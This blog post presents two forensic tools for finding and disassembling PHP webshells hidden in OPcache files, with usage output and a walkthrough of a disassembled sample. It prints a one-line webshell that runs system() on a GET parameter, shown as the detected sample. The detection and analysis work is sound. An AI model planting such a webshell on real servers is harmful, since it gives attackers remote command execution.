In this article, we will be looking at the strategies to detect and analyze malware hidden inside an OPcache file. If you haven’t read our previous article about hiding a binary webshell inside a PHP7 OPcache file, we suggest reading it before moving on.
Scenario
With the exploitation technique used in our last article, it is possible for an attacker to conceal malware inside OPcache files. In a real life scenario where a Web server has been compromised, it may be difficult to detect infected OPcache files as there is a multitude of obfuscation techniques that can be used in order to avoid detection. Not to mention that current tools are mostly made to scan source files. It is also strenuous for malware researchers and incident response teams to analyze cache files because of their peculiar format..
With this in mind, we’ve developed two tools that could help find (1) and understand (2) hidden backdoors inside OPcache files. You can find the repository for these tools here.
1. OPcache Malware Hunter
As we’ve mentioned earlier, current tools only scan source files when it comes to detecting PHP malware. In a scenario where an incident response team doesn’t know where an attack came from, it might be useful to have a tool that also checks OPcache files for infections. In that manner, we’ve created a simple malware hunter which finds potentially infected OPcache files.
$ ./opcache_malware_hunt.py
Usage : ./opcache_malware_hunt.py [opcache_folder] [system_id] [php.ini]
The malware hunter takes the cache directory and the system_id
and uses it to determine the location of the corresponding source code. Using the source code, the tool will compile its own OPcache file using the settings defined in the php.ini
, compare it to the original cache files and flag the files that differ. Using this technique, we can expect to have a high level of accuracy as any changes in an OPcache file will be caught by the tool, no matter how obfuscated the contents of the cache file is.
Here’s an output sample showing the hunter in action currently parsing both the production cache files as well as the ones generated by the malware hunter :
If a potentially infected file is found, the malware hunter will generate an HTML report containing more information.
Browse to the generated hunt_report
folder and open the index.html
page :
Clicking on any link will open the report for that file showing the differences between the original file and the potentially infected file :
In the image above, the left column represents what the original cache file contained; the right column represents what the current cache file contains. We can see that our cache file has been replaced with a webshell. This is the original code for the malware :
<?php
system($_GET['cmd'])
?>
It is important to note that malware hunter is designed to be run on the system that generated the cache files. Malware hunter requires access to these cache files, source files and the same PHP configuration file to successfully detect compromise.
2. OPcache Disassembler
Disassemblers are extremely useful for malware analysis. In the case of OPcache files, these files are essentially bytecode representations of the corresponding source code, analogous to Java and Python bytecode. Because of the nature of OPcache files, it seems appropriate to introduce its own disassembler to help analyze the behavior of malicious code in the aftermath of an attack.
How It Works
The OPcache disasssembler provides two display options : syntax tree and pseudocode.
$ ./opcache_disassembler.py
Usage : ./opcache_disassembler.py [-tc] [file]
-t Print syntax tree
-c Print pseudocode
The syntax tree option provides a hierarchical view of every opcode, function and class in call order. Each opcode is then segmented into three parts (operand 1, operand 2 and result) as shown below :
Although the syntax tree view provides some information, the pseudocode display will make things a lot more readable. Running our disassembler with the -c
option on the same file yields a friendlier output.
With a little help from the official opcode documentation, the pseudocode becomes much simpler to understand. Here, our malicious file fetches the _GET
variable and checks if 'test'
is set. We can assume the original PHP code was : isset($_GET['test'])
.
For OPcache files containing functions and classes, the disassembler outputs PHP-like syntax to improve readability. Syntax highlighting has also been added for the same reason:
With malware analysis in mind, we can use our tool to roughly recreate what the original PHP file looks like. In the disassembled code above, at lines 7 to 13, we can see the opcodes used for the webshell:
- Lines 7 to 9 stores the value of
$_GET['test']
inside a variable called!1
- Line 10 jumps to line 15 if a certain condition is not met
- Line 11 to 13 calls the system function using the value of
!1
as a parameter.
Here is the original source code for comparison, the webshell is shown in the last two lines:
Conclusion
The disassembler and malware hunter can be quite useful in your Web server forensics toolkit. In the event of an attack, these tools can help detect the source of a breach and provide additional insight into how these malicious files operate.
It would be interesting to see how this could be applied to OPcache’s memory caching.
References
PHP Malware Finder by NBS System
PHP Backdoor Obfuscation Techniques by Voxel@Night
Understanding Opcodes by Sara Golemon
Zend Engine 2 Opcodes PHP Official Documentation
This blog post has been written by Ian Bouchard who is currently doing an internship with us before going to University. Ian has demonstrated extraordinary abilities and we are proud to offer him the opportunity to share his research with the world.